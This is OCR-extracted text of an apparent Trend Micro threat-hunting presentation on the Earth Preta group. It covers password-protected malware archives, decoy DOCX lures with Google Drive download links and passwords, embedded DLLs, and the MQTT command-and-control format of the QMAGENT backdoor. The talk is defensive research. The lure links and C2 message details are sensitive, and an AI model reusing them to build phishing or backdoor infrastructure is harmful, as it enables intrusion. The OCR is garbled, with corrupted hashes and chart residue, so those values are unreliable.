C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ROIAZP7Z\List%200f%20ter
rorist%20personnel%20at%20the%20border([1].rar
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Artifacts Hidden in Malware

Search Password-Protected Archives
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tag:rar tag:encrypted name:INetCache size:500kb+

x

, No security vendors and no sandboxes flagged this file as malicious

292bf7cc960ff03655dedet11a96247ad21bf81a5hT438e9280a6488226fefal 11.80 KB 2022-10-10 051845 UTC
Notic(20221010)(final).docx Size 1 month ago
docx
Community Score v
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY
STRINGS HEX PREVIEW

For all files, please click the link of the office network disk to download, or copy the link to the webpage
to open the download.

https://drive.google.com/uc?id=1YXMF6d3-TILvg-EDn-1nPtmbEgklvPMEw&export=download

Extracting passwords: 10-10-2022




Artifacts Hidden in Malware

DLL Embedded in DOCX (TONEINS/TONESHELL)

D B,

and rename :

* Password-protected archives
* Documents containinglinks
e DLL Embeddedin DOCX
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Artifacts Hidden in Malware

Search Documents Containing Links

tag:docx have:dropped_filesbehavior_files:rarbehavior_network:googleusercontent.com

Bucuresti, 3 January 2023
N. 5632/XVIL.17

Stimate Domnule Cancelar,

Cu referire la scrisoarea mea cu Nr. Extracting passwords:
26-12-2022

https://drive.soogle.com/uc?id=1pcoXvayCu-
K1tWg7WqUk{9008hImDSUe&export=download

Pentru detaliile ulterioare ale Audientei, putefi contacta
direct, sau prin intermediul Ambasadei Romaniei pe ldnga Sfantul
Scaun, Prefectura Casei Pontificale (tel. +390669883561,
+390669883114; e-mail: ordinanzes(@pontificalisdomus.va),

Figure. The given password is wrong. Why???
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Artifacts Hidden in Malware

Search DLL Embedded in DOCX

crowdsourced _yara_rule:SUSP_XORed MSDQOS_Stub_Message tag:docx

S46AE94 0345680030250 3E 147463 T4EE2ETEF 42987757 6948F AAF 145081512

docx

326E82058F54B840F ADDET4ARBEDEC25CE3F52C29DEESS TR TETEEF 1022808

docx

EBBDDE3&FEDAT1AARIT6B1CI3ER1BA32ER2FS3CBERIBAIERFFFAI3BDE4B5F4F6
~$CV. docx

docx

31B52BBEGF2FAT1BARSE346F IAFEBAECA4AAFSA414A38BCTRE92362BR6054 28F
political asylum.docx

docx

1F7096109C15AARF4RIBEAZE17DE2TTAADEDSSF11AEFED34BIERDBAFS4EFR448
fustralian embassy help letter.docx

docx

3D18EFIZA3D5FITOOBET 30FDDABD49DBCD661 F3D2BI92C3C53978IDFSFFITIC
~§Notic(2022181@) . docx
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C&C server MQTT Broker

Compromised

machine
ubgc'f\b | | _I_
| | |
subscribe iot/v2/<Unique

ou 6“ | | D= I

I | I

[ | , 2 oubli [

. ™ iot/zerver2: publish

| < | = KeepAlive message |

I | I
I . i . |

iotfv2/<Unigue | D= [ |

MQTT Bro ker I publish command > | - |

I | I

| P | iot/server2: publish |

1= I command output I

| | [

Figure. MQTT architecture v v v

Figure. C&C communicationin QMAGENT (MQsTTang)

» MQsTTang: Mustang Panda’s latest backdoor treads new ground with Qt and MQTT by ESET
» What is MQTT? Definition and Details
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https://www.welivesecurity.com/2023/03/02/mqsttang-mustang-panda-latest-backdoor-treads-new-ground-qt-mqtt/
https://www.paessler.com/it-explained/mqtt

Why not subscribe the topics and monitor the behaviors from actors?
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Upon first connecting to the broker, the malware subscribes to its unique topic. Then, and every 30 seconds

thereafter, the client publishes a KeepAlive message to the server's topic. The content of this message is a JSON
object with the following format:

"Alive": "<malware’s uptime in minutess",
"c_topic": "«client’s unique topic:"

When the server wants to issue a command, it publishes a message to the client's unique topic. The plaintext
content of this message is simply the command to be executed. As shown in Figure 5, the client executes the
received command using QProcess: : startCommand from the Qt framework. The output, obtained using

QProcess: :readAllstandardoutput, Is then sent back in a JSON object with the following format:

"c_topic": "<client’s unique topic=",

"pet": "<Command output:"




Victims Count of QMAGENT

—&— ot/serverd
iot/serverl

50 ~ —&— ot/server2

40

30

Victims Count
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Instead of monitoring actors, we are monitoring ... analysts and sandboxes?
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Victims Count of QMAGENT

—&— ot/serverd
iot/serverl
50 ~ —&— ot/server2
40
et
[
E 30
o
]
E
et
-
=
20 1
10 -
D —
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Victims Count
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Victims Count of QMAGENT

14 ~

12 ~

10 ~

1st batch: 476 hours delay

—0— iot/serverQ
iot/serverl
—— iot/server2

2nd batch: 14~21 hours delay

P

T T T
0 0 N}
R g0 9

Report published

T T
0 By
2023-Mar-04




Alive Minutes (iot/server2) of QMAGENT

70 A

60

50 A

40 A

Victims Count

30 A

20 A

10 -

15 20 25 30
Alive Time (Minutes)
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Alive (Minutes) Seconds Count

7.89 473 32
3.34 200 28
7.90 474 20
[timeouts]
2.89 173 13 # Set the default analysis timeout expressed in seconds. This value will be
185 111 # used to define after how many seconds the analysis will terminate unless
O

# otherwise specified at submission.

284 170 11 default = 288

2.90 17411 https://github.com/kevoreilly/CAPEv2/blob/master/conf/cuckoo.conf#L164
288 172 a
287 172 Tj
0.84 a0 i

60 | ©2023 Trend Micro Inc.



https://github.com/kevoreilly/CAPEv2/blob/master/conf/cuckoo.conf

Conclusion




Conclusion

 Earth Preta is constantly updating its TTPs and arsenals.

 To fly under the radar, they apply various countermeasures:
- Hide the payload in a legitimate-looking file
— Tools which require a unigue passcode to run
— Protect the archives with a password

 Use as many artifacts that look unique as possible for threat hunting.
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Research Blog

* You can check our published research at

— Earth Preta Spear-Phishing — Pack it Secretly: Earth Preta’s

Governments Worldwide Updated Stealthy Strategies
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https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html
https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html
https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html
https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html
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